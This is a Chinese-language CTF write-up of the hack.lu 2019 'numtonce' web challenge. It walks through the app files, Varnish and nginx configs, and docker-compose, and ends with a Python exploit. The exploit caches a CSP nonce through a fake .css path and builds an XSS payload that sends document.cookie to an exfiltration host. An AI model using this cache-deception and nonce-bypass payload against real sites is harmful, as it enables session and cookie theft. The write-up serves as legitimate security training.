2019hack.luCTF的numtonce的环境搭建到解决的详细过程

前言

2019hack.luCTF的numtonce的环境搭建到解决的详细过程

0x01 题目的目录结构如下:

app目录下:
  • emojis目录下全是图片就不分析了。

  • emojis.min.js文件的内容如下:

    1
    2
    3
    4
    /*! emojify.js - v1.1.0 - 
    * Copyright (c) Hassan Khan 2015
    */
    !function(e,a){"use strict";"function"==typeof define&&define.amd?define([],a):"object"==typeof exports?module.exports=a():e.emojify=a()}(this,function(){"use strict";var e=function(){function e(){var e={named:/:([a-z0-9A-Z_-]+):/,smile:/:-?\)/g,open_mouth:/:o/gi,scream:/:-o/gi,smirk:/[:;]-?]/g,grinning:/[:;]-?d/gi,stuck_out_tongue_closed_eyes:/x-d/gi,stuck_out_tongue_winking_eye:/[:;]-?p/gi,rage:/:-?[\[@]/g,frowning:/:-?\(/g,sob:/:['’]-?\(|:&#x27;\(/g,kissing_heart:/:-?\*/g,wink:/;-?\)/g,pensive:/:-?\//g,confounded:/:-?s/gi,flushed:/:-?\|/g,relaxed:/:-?\$/g,mask:/:-x/gi,heart:/<3|&lt;3/g,broken_heart:/<\/3|&lt;&#x2F;3/g,thumbsup:/:\+1:/g,thumbsdown:/:\-1:/g};return d.ignore_emoticons&&(e={named:/:([a-z0-9A-Z_-]+):/,thumbsup:/:\+1:/g,thumbsdown:/:\-1:/g}),Object.keys(e).map(function(a){return[e[a],a]})}function a(){var e=_.map(function(e){var a=e[0],o=a.source||a;return o=o.replace(/(^|[^\[])\^/g,"$1"),"("+o+")"}).join("|");return new RegExp(e,"gi")}function o(e){return" "===e||" "===e||"\r"===e||"\n"===e||""===e||e===String.fromCharCode(160)}function r(e){var a=null;if(e.replacer)a=e.replacer.apply({config:d},[":"+e.emojiName+":",e.emojiName]);else{var o=d.tag_type||h[d.mode];a=e.win.document.createElement(o),"img"!==o?a.setAttribute("class","emoji emoji-"+e.emojiName):(a.setAttribute("align","absmiddle"),a.setAttribute("alt",":"+e.emojiName+":"),a.setAttribute("class","emoji"),a.setAttribute("src",d.img_dir+"/"+e.emojiName+".png")),a.setAttribute("title",":"+e.emojiName+":")}e.node.splitText(e.match.index),e.node.nextSibling.nodeValue=e.node.nextSibling.nodeValue.substr(e.match[0].length,e.node.nextSibling.nodeValue.length),a.appendChild(e.node.splitText(e.match.index)),e.node.parentNode.insertBefore(a,e.node.nextSibling)}function t(e){if(e[1]&&e[2]){var a=e[2];if(m[a])return a}else for(var o=3;o<e.length-1;o++)if(e[o])return _[o-2][1]}function i(e,a){var o=this.config.tag_type||h[this.config.mode];return"img"!==o?"<"+o+" class='emoji emoji-"+a+"' title=':"+a+":'></"+o+">":"<img align='absmiddle' alt=':"+a+":' class='emoji' src='"+this.config.img_dir+"/"+a+".png' title=':"+a+":' />"}function n(){this.lastEmojiTerminatedAt=-1}function s(o,r){if(!o)return o;r||(r=i),_=e(),c=a();var t=new n;return o.replace(c,function(){var e=Array.prototype.slice.call(arguments,0,-2),a=arguments[arguments.length-2],o=arguments[arguments.length-1],i=t.validate(e,a,o);return i?r.apply({config:d},[arguments[0],i]):arguments[0]})}function l(o,i){"undefined"==typeof o&&(o=d.only_crawl_id?document.getElementById(d.only_crawl_id):document.body);var s=o.ownerDocument,l=s.defaultView||s.parentWindow,u=function(e,a){var o;if(e.hasChildNodes())for(o=e.firstChild;o;)a(o)&&u(o,a),o=o.nextSibling},g=function(e){for(var a,o=[],s=new n;null!==(a=c.exec(e.data));)s.validate(a,a.index,a.input)&&o.push(a);for(var _=o.length;_-->0;){var u=t(o[_]);r({node:e,match:o[_],emojiName:u,replacer:i,win:l})}};_=e(),c=a();var m=[],h=new RegExp(d.blacklist.elements.join("|"),"i"),p=new RegExp(d.blacklist.classes.join("|"),"i");if("undefined"!=typeof l.document.createTreeWalker)for(var b,f=l.document.createTreeWalker(o,l.NodeFilter.SHOW_TEXT|l.NodeFilter.SHOW_ELEMENT,function(e){return 1!==e.nodeType?l.NodeFilter.FILTER_ACCEPT:e.tagName.match(h)||"svg"===e.tagName||e.className.match(p)?l.NodeFilter.FILTER_REJECT:l.NodeFilter.FILTER_SKIP},!1);null!==(b=f.nextNode());)m.push(b);else u(o,function(e){return"undefined"!=typeof e.tagName&&e.tagName.match(h)||"undefined"!=typeof e.className&&e.className.match(p)?!1:1===e.nodeType?!0:(m.push(e),!0)});m.forEach(g)}var _,c,u="+1,-1,100,1234,8ball,a,ab,abc,abcd,accept,aerial_tramway,airplane,alarm_clock,alien,ambulance,anchor,angel,anger,angry,anguished,ant,apple,aquarius,aries,arrow_backward,arrow_double_down,arrow_double_up,arrow_down,arrow_down_small,arrow_forward,arrow_heading_down,arrow_heading_up,arrow_left,arrow_lower_left,arrow_lower_right,arrow_right,arrow_right_hook,arrow_up,arrow_up_down,arrow_up_small,arrow_upper_left,arrow_upper_right,arrows_clockwise,arrows_counterclockwise,art,articulated_lorry,astonished,atm,b,baby,baby_bottle,baby_chick,baby_symbol,back,baggage_claim,balloon,ballot_box_with_check,bamboo,banana,bangbang,bank,bar_chart,barber,baseball,basketball,bath,bathtub,battery,bear,bee,beer,beers,beetle,beginner,bell,bento,bicyclist,bike,bikini,bird,birthday,black_circle,black_joker,black_medium_small_square,black_medium_square,black_nib,black_small_square,black_square,black_square_button,blossom,blowfish,blue_book,blue_car,blue_heart,blush,boar,boat,bomb,book,bookmark,bookmark_tabs,books,boom,boot,bouquet,bow,bowling,bowtie,boy,bread,bride_with_veil,bridge_at_night,briefcase,broken_heart,bug,bulb,bullettrain_front,bullettrain_side,bus,busstop,bust_in_silhouette,busts_in_silhouette,cactus,cake,calendar,calling,camel,camera,cancer,candy,capital_abcd,capricorn,car,card_index,carousel_horse,cat,cat2,cd,chart,chart_with_downwards_trend,chart_with_upwards_trend,checkered_flag,cherries,cherry_blossom,chestnut,chicken,children_crossing,chocolate_bar,christmas_tree,church,cinema,circus_tent,city_sunrise,city_sunset,cl,clap,clapper,clipboard,clock1,clock10,clock1030,clock11,clock1130,clock12,clock1230,clock130,clock2,clock230,clock3,clock330,clock4,clock430,clock5,clock530,clock6,clock630,clock7,clock730,clock8,clock830,clock9,clock930,closed_book,closed_lock_with_key,closed_umbrella,cloud,clubs,cn,cocktail,coffee,cold_sweat,collision,computer,confetti_ball,confounded,confused,congratulations,construction,construction_worker,convenience_store,cookie,cool,cop,copyright,corn,couple,couple_with_heart,couplekiss,cow,cow2,credit_card,crescent_moon,crocodile,crossed_flags,crown,cry,crying_cat_face,crystal_ball,cupid,curly_loop,currency_exchange,curry,custard,customs,cyclone,dancer,dancers,dango,dart,dash,date,de,deciduous_tree,department_store,diamond_shape_with_a_dot_inside,diamonds,disappointed,disappointed_relieved,dizzy,dizzy_face,do_not_litter,dog,dog2,dollar,dolls,dolphin,donut,door,doughnut,dragon,dragon_face,dress,dromedary_camel,droplet,dvd,e-mail,ear,ear_of_rice,earth_africa,earth_americas,earth_asia,egg,eggplant,eight,eight_pointed_black_star,eight_spoked_asterisk,electric_plug,elephant,email,end,envelope,es,euro,european_castle,european_post_office,evergreen_tree,exclamation,expressionless,eyeglasses,eyes,facepunch,factory,fallen_leaf,family,fast_forward,fax,fearful,feelsgood,feet,ferris_wheel,file_folder,finnadie,fire,fire_engine,fireworks,first_quarter_moon,first_quarter_moon_with_face,fish,fish_cake,fishing_pole_and_fish,fist,five,flags,flashlight,floppy_disk,flower_playing_cards,flushed,foggy,football,fork_and_knife,fountain,four,four_leaf_clover,fr,free,fried_shrimp,fries,frog,frowning,fu,fuelpump,full_moon,full_moon_with_face,game_die,gb,gem,gemini,ghost,gift,gift_heart,girl,globe_with_meridians,goat,goberserk,godmode,golf,grapes,green_apple,green_book,green_heart,grey_exclamation,grey_question,grimacing,grin,grinning,guardsman,guitar,gun,haircut,hamburger,hammer,hamster,hand,handbag,hankey,hash,hatched_chick,hatching_chick,headphones,hear_no_evil,heart,heart_decoration,heart_eyes,heart_eyes_cat,heartbeat,heartpulse,hearts,heavy_check_mark,heavy_division_sign,heavy_dollar_sign,heavy_exclamation_mark,heavy_minus_sign,heavy_multiplication_x,heavy_plus_sign,helicopter,herb,hibiscus,high_brightness,high_heel,hocho,honey_pot,honeybee,horse,horse_racing,hospital,hotel,hotsprings,hourglass,hourglass_flowing_sand,house,house_with_garden,hurtrealbad,hushed,ice_cream,icecream,id,ideograph_advantage,imp,inbox_tray,incoming_envelope,information_desk_person,information_source,innocent,interrobang,iphone,it,izakaya_lantern,jack_o_lantern,japan,japanese_castle,japanese_goblin,japanese_ogre,jeans,joy,joy_cat,jp,key,keycap_ten,kimono,kiss,kissing,kissing_cat,kissing_closed_eyes,kissing_face,kissing_heart,kissing_smiling_eyes,koala,koko,kr,large_blue_circle,large_blue_diamond,large_orange_diamond,last_quarter_moon,last_quarter_moon_with_face,laughing,leaves,ledger,left_luggage,left_right_arrow,leftwards_arrow_with_hook,lemon,leo,leopard,libra,light_rail,link,lips,lipstick,lock,lock_with_ink_pen,lollipop,loop,loudspeaker,love_hotel,love_letter,low_brightness,m,mag,mag_right,mahjong,mailbox,mailbox_closed,mailbox_with_mail,mailbox_with_no_mail,man,man_with_gua_pi_mao,man_with_turban,mans_shoe,maple_leaf,mask,massage,meat_on_bone,mega,melon,memo,mens,metal,metro,microphone,microscope,milky_way,minibus,minidisc,mobile_phone_off,money_with_wings,moneybag,monkey,monkey_face,monorail,mortar_board,mount_fuji,mountain_bicyclist,mountain_cableway,mountain_railway,mouse,mouse2,movie_camera,moyai,muscle,mushroom,musical_keyboard,musical_note,musical_score,mute,nail_care,name_badge,neckbeard,necktie,negative_squared_cross_mark,neutral_face,new,new_moon,new_moon_with_face,newspaper,ng,nine,no_bell,no_bicycles,no_entry,no_entry_sign,no_good,no_mobile_phones,no_mouth,no_pedestrians,no_smoking,non-potable_water,nose,notebook,notebook_with_decorative_cover,notes,nut_and_bolt,o,o2,ocean,octocat,octopus,oden,office,ok,ok_hand,ok_woman,older_man,older_woman,on,oncoming_automobile,oncoming_bus,oncoming_police_car,oncoming_taxi,one,open_file_folder,open_hands,open_mouth,ophiuchus,orange_book,outbox_tray,ox,package,page_facing_up,page_with_curl,pager,palm_tree,panda_face,paperclip,parking,part_alternation_mark,partly_sunny,passport_control,paw_prints,peach,pear,pencil,pencil2,penguin,pensive,performing_arts,persevere,person_frowning,person_with_blond_hair,person_with_pouting_face,phone,pig,pig2,pig_nose,pill,pineapple,pisces,pizza,plus1,point_down,point_left,point_right,point_up,point_up_2,police_car,poodle,poop,post_office,postal_horn,postbox,potable_water,pouch,poultry_leg,pound,pouting_cat,pray,princess,punch,purple_heart,purse,pushpin,put_litter_in_its_place,question,rabbit,rabbit2,racehorse,radio,radio_button,rage,rage1,rage2,rage3,rage4,railway_car,rainbow,raised_hand,raised_hands,raising_hand,ram,ramen,rat,recycle,red_car,red_circle,registered,relaxed,relieved,repeat,repeat_one,restroom,revolving_hearts,rewind,ribbon,rice,rice_ball,rice_cracker,rice_scene,ring,rocket,roller_coaster,rooster,rose,rotating_light,round_pushpin,rowboat,ru,rugby_football,runner,running,running_shirt_with_sash,sa,sagittarius,sailboat,sake,sandal,santa,satellite,satisfied,saxophone,school,school_satchel,scissors,scorpius,scream,scream_cat,scroll,seat,secret,see_no_evil,seedling,seven,shaved_ice,sheep,shell,ship,shipit,shirt,shit,shoe,shower,signal_strength,six,six_pointed_star,ski,skull,sleeping,sleepy,slot_machine,small_blue_diamond,small_orange_diamond,small_red_triangle,small_red_triangle_down,smile,smile_cat,smiley,smiley_cat,smiling_imp,smirk,smirk_cat,smoking,snail,snake,snowboarder,snowflake,snowman,sob,soccer,soon,sos,sound,space_invader,spades,spaghetti,sparkle,sparkler,sparkles,sparkling_heart,speak_no_evil,speaker,speech_balloon,speedboat,squirrel,star,star2,stars,station,statue_of_liberty,steam_locomotive,stew,straight_ruler,strawberry,stuck_out_tongue,stuck_out_tongue_closed_eyes,stuck_out_tongue_winking_eye,sun_with_face,sunflower,sunglasses,sunny,sunrise,sunrise_over_mountains,surfer,sushi,suspect,suspension_railway,sweat,sweat_drops,sweat_smile,sweet_potato,swimmer,symbols,syringe,tada,tanabata_tree,tangerine,taurus,taxi,tea,telephone,telephone_receiver,telescope,tennis,tent,thought_balloon,three,thumbsdown,thumbsup,ticket,tiger,tiger2,tired_face,tm,toilet,tokyo_tower,tomato,tongue,top,tophat,tractor,traffic_light,train,train2,tram,triangular_flag_on_post,triangular_ruler,trident,triumph,trolleybus,trollface,trophy,tropical_drink,tropical_fish,truck,trumpet,tshirt,tulip,turtle,tv,twisted_rightwards_arrows,two,two_hearts,two_men_holding_hands,two_women_holding_hands,u5272,u5408,u55b6,u6307,u6708,u6709,u6e80,u7121,u7533,u7981,u7a7a,uk,umbrella,unamused,underage,unlock,up,us,v,vertical_traffic_light,vhs,vibration_mode,video_camera,video_game,violin,virgo,volcano,vs,walking,waning_crescent_moon,waning_gibbous_moon,warning,watch,water_buffalo,watermelon,wave,wavy_dash,waxing_crescent_moon,waxing_gibbous_moon,wc,weary,wedding,whale,whale2,wheelchair,white_check_mark,white_circle,white_flower,white_large_square,white_medium_small_square,white_medium_square,white_small_square,white_square_button,wind_chime,wine_glass,wink,wolf,woman,womans_clothes,womans_hat,womens,worried,wrench,x,yellow_heart,yen,yum,zap,zero,zzz",g=u.split(/,/),m=g.reduce(function(e,a){return e[a]=!0,e},{}),d={blacklist:{ids:[],classes:["no-emojify"],elements:["script","textarea","a","pre","code"]},tag_type:null,only_crawl_id:null,img_dir:"images/emoji",ignore_emoticons:!1,mode:"img"},h={img:"img",sprite:"span","data-uri":"span"};return n.prototype={validate:function(e,a,r){function i(){return n.lastEmojiTerminatedAt=_+a,s}var n=this,s=t(e);if(s){var l=e[0],_=l.length;if(0===a)return i();if(r.length===l.length+a)return i();var c=this.lastEmojiTerminatedAt===a;if(c)return i();if(o(r.charAt(a-1)))return i();var u=o(r.charAt(l.length+a));return u&&c?i():void 0}}},{defaultConfig:d,emojiNames:g,setConfig:function(e){Object.keys(d).forEach(function(a){a in e&&(d[a]=e[a])})},replace:s,run:l}}();return e});
  • favicon.ico是一个图片。

  • index.php的内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    <?php

    $nonce = bin2hex(openssl_random_pseudo_bytes(16));

    header('Content-Type: text/html; charset=utf-8');
    header("Content-Security-Policy: default-src 'none'; script-src 'sha256-CRtdY47bt+vWDdsuOTTeizFLvSy49h32pVgpWlyN0TU=' 'nonce-${nonce}'; img-src 'self'; style-src 'self'; base-uri 'none'; frame-ancestors 'none'; form-action 'none';");
    header('Referrer-Policy: no-referrer');
    header('X-Content-Type-Options: nosniff');
    header('X-DNS-Prefetch-Control: off');
    header('X-Download-Options: noopen');
    header('X-Frame-Options: deny');
    header('X-XSS-Protection: 1; mode=block');

    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Numtonce</title>
    <link rel="stylesheet" href="/numtonce.css">
    </head>
    <body>
    <center>
    <p>enjoy this calm and <!--XSS-->safe place :)</p>
    <p>(you may also create your own)</p>

    <script nonce="<?=$nonce?>" src="/emojify.min.js"></script>
    <script>
    const l=location
    let h=l.hash
    var p=l.hostname
    const s=l.search
    let a=h.split(p)
    var b=a.map((o,O)=>(O^0!==0&&o||'')).map(decodeURIComponent)
    const o0o=b.join(s)
    let script=sessionStorage[a[0]]
    var my=a=>b
    const msg='there is p' in my `t'
    ˂/script>

    <script>
    o0o='nope'
    ˂/script>

    A wise man once said: 'A CSP a day keeps the XSS away.`

    <script>
    document.write('<div id="garden">');
    document.write(o0o||'tt t t t fnttttttttt nfst t ttt n t tl t tnr tmtt dt n cttttrttntt t tttttnttt t t nt tt tt nt t t t'.split('').map(c=>({t:':evergreen_tree:',f:':fallen_leaf:',s:':squirrel:',l:':leaves:',r:':rabbit:',m:':maple_leaf:',d:':droplet:',c:':cherry_blossom:',n:'<br/>',' ':':white_small_square:'}[c])).join(''));
    document.write('</div>');

    emojify.setConfig({ img_dir: '/emojis' });
    emojify.run(garden);
    </script>
    </center>
    </body>
    </html>
大体分析一下:
3行随机生成一个32位的字符串。
5行设置了页面的字符集防止页面乱码。
6行设置页面的CSP,其中需要注意的是要在页面中执行javascript代码需要nonce的值相同。
7~12行设置一些请求头,大家感兴趣的自行了解。
49行将会在页面中输出验证通过的地址后面的标签如:http://123.57.232.69:8080/index.php#123.57.232.69%3Ch1%3Etest%3C/h1%3E
其余没什么可以分析的了。
  • numtonce.css的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    *, a, a:visited, a:active {
    font-family: monospace;
    color: white;
    }
    html {
    height: 100vh;
    background: linear-gradient(to right, #B5AC49, #3CA55C);
    }
    p:first-of-type {
    opacity: 0.8;
    margin-top: 2em;
    }
    p:last-of-type {
    opacity: 0.6;
    margin-bottom: 3em;
    }
    #garden {
    white-space: pre;
    user-select: none;
    }
    .emoji {
    width: 3em;
    height: 3em;
    display: inline-block;
    background-size: contain;
    }
    .emoji[alt=":white_small_square:"] {
    opacity: 0.1;
    }
cache目录下:
  • default.vcl的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    vcl 4.0;

    import std;
    import directors;

    backend default {
    .host = "server";
    .port = "80";
    .connect_timeout = 60s;
    .first_byte_timeout = 60s;
    .between_bytes_timeout = 60s;
    .max_connections = 800;
    }

    # ACL we'll use later to allow purges
    acl purge {
    "localhost";
    "127.0.0.1";
    "::1";
    }

    sub vcl_backend_response {
    set beresp.ttl = 10m;
    }

    sub vcl_recv {
    # Allow purging
    if (req.method == "PURGE") {
    if (!client.ip ~ purge) { # purge is the ACL defined at the begining
    # Not from an allowed IP? Then die with an error.
    return (synth(405, "IP: " + client.ip + " is not allowed to send PURGE requests."));
    }

    # If you got this stage (and didn't error out above), purge the cached result
    return (purge);
    }

    # Only deal with "normal" types
    if (req.method != "GET" &&
    req.method != "HEAD" &&
    req.method != "PUT" &&
    req.method != "POST" &&
    req.method != "TRACE" &&
    req.method != "OPTIONS" &&
    req.method != "PATCH" &&
    req.method != "DELETE") {
    /* Non-RFC2616 or CONNECT which is weird. */
    return (pipe);
    }

    # Only cache static files
    if (req.url !~ "^[^?]*\.(bmp|css|gif|ico|jpeg|jpg|js|png|svg|svgz|webm|webp|woff|woff2|xml)$") {
    return (pass);
    }

    # Only cache GET or HEAD requests. This makes sure the POST requests are always passed.
    if (req.method != "GET" && req.method != "HEAD") {
    return (pass);
    }

    return (hash);
    }

    sub vcl_pipe {
    return (pipe);
    }

    sub vcl_pass {
    #return (pass);
    }

    # The data on which the hashing will take place
    sub vcl_hash {
    # Called after vcl_recv to create a hash value for the request. This is used as a key
    # to look up the object in Varnish.

    hash_data(req.url);

    if (req.http.host) {
    hash_data(req.http.host);
    } else {
    hash_data(server.ip);
    }
    }

    # The routine when we deliver the HTTP request to the user
    # Last chance to modify headers that are sent to the client
    sub vcl_deliver {
    # Called before a cached object is delivered to the client.

    # Add debug header to see if it's a HIT/MISS and the number of hits, disable when not needed
    if (obj.hits > 0) {
    set resp.http.Hit-Or-Miss = "i guess they never miss huh?";
    }

    # Remove some headers: PHP/Express/... version
    unset resp.http.X-Powered-By;

    # Remove some headers: Apache version & OS
    unset resp.http.Server;
    unset resp.http.X-Drupal-Cache;
    unset resp.http.X-Varnish;
    unset resp.http.Via;
    unset resp.http.Link;
    unset resp.http.X-Generator;

    return (deliver);
    }
下面大概介绍一下这个配置文件:
  • 3~4行导入配置所需的包。
  • 6~13行声明并初始化一个后端对象。
  • 16~20行创建一个地址列表,用于后面的判断,可以是域名或IP集合,我们可以用于指定某些地址的请求入口,防止恶意请求等。
  • 22~24行设置文件的缓存时间。
  • 28~36行匹配清理缓存的请求,匹配成功就清楚。
  • 39~49行处理不正常的请求,并进入pipe非缓存模式。
  • 52~54行处理可以缓存的文件类型。
  • 61行上面都没有处理就用哈希缓存处理。
  • 64~66行进入pipe非缓存模式。
  • 68~70行不处理pass事件。
  • 73~84行hash缓存模式,生成hash值作为缓存查找键名提取缓存内容,主要用于缓存hash键值处理,可使用hash_data(string) 指定键值组成结构,可在同一个页面通过IP或cookie生成不同的缓存键值。
  • 88~108行客户端交付子程序,在vcl_backend_response子程序后调用(非pipe模式),或vcl_hit子程序后调用,可用于追加响应头信息,cookie等内容。
  • 参考链接
  • https://blog.51cto.com/yangshufan/2167039
  • https://blog.51cto.com/namesam/1908525
server目录下:
  • default.conf的内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    server {
    listen 80 default;
    index index.php index.html;
    server_name server;
    error_log /dev/stdout;
    access_log /dev/stdout;
    root /app;

    location ~ \.php {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    try_files $fastcgi_script_name =404;
    fastcgi_pass app:9000;
    fastcgi_index index.php;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    }
    }
  • 2行服务器监听再80端口。

  • 3行如果用127.0.0.1发起请求会先访问到/地址然后回去查/app/index.php不匹配再查下一个。

  • 9~18行参考链接如下:

  • https://blog.jjonline.cn/linux/218.html

docker-compose.yml的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
version: '3.7'

services:
cache:
image: varnish:6.3
restart: unless-stopped
depends_on:
- server
networks:
- numtonce
ports:
- "80:80"
volumes:
- ./cache/default.vcl:/etc/varnish/default.vcl:ro

server:
image: nginx:alpine
restart: unless-stopped
depends_on:
- app
networks:
- numtonce
volumes:
- ./app:/app:ro
- ./server/default.conf:/etc/nginx/conf.d/default.conf:ro

app:
image: php:7.3-fpm-alpine
restart: unless-stopped
networks:
- numtonce
volumes:
- ./app:/var/www/html:ro

networks:
numtonce:
name: numtonce
最后是exploit.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python

import re
import sys
import json
import random
import string
import requests
from urllib.parse import quote

CHALLENGE_HOST = 'numtonce.fluxfingersforfuture.fluxfingers.net'
CHALLENGE_PORT = 80
EXFIL_BASE_HOST = '127.0.0.1'
EXFIL_BASE_PORT = 60003


def exploit():
# cache a CSP nonce
unique = ''.join(random.choices(string.hexdigits, k=16))
cached_url = 'http://{}:{}/index.php/{}.css'.format(CHALLENGE_HOST, CHALLENGE_PORT, unique)
r = requests.get(cached_url)
csp = r.headers['content-security-policy']
nonce = re.match(r'.*nonce-([a-f0-9]+).*', csp).group(1)

payload = '{}<script/nonce="{}">location="http://{}:{}/?flag="+encodeURIComponent(document.cookie)</script>'.format(CHALLENGE_HOST, nonce, EXFIL_BASE_HOST, EXFIL_BASE_PORT)
url = '{}#{}'.format(cached_url, quote(payload))

print(url)


def main():
exploit()


if __name__ == '__main__':
if len(sys.argv) == 2:
CHALLENGE_HOST = sys.argv[1]
main()